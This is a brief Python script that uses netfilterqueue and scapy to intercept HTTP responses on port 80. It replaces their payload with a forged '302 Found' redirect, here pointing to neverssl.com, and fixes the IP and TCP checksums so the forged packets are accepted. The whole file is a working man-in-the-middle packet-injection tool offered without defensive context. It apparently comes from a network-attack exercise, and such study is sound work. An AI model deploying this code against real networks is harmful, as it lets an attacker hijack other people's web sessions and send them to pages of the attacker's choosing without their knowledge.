code_injector_redirect.py

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re


def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())

    if scapy_packet.haslayer(scapy.TCP) and scapy_packet.haslayer(scapy.Raw):
        # Intercept server → client responses
        if scapy_packet[scapy.TCP].sport == 80:
            print("[+] Intercepted HTTP response")

            redirect_response = (
                b"HTTP/1.1 302 Found\r\n"
                b"Location: http://www.neverssl.com\r\n"
                b"Content-Length: 0\r\n"
                b"Connection: close\r\n"
                b"\r\n"
            )

            # Replace payload
            new_packet = set_load(scapy_packet, redirect_response)

            packet.set_payload(bytes(new_packet))

    packet.accept()




queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()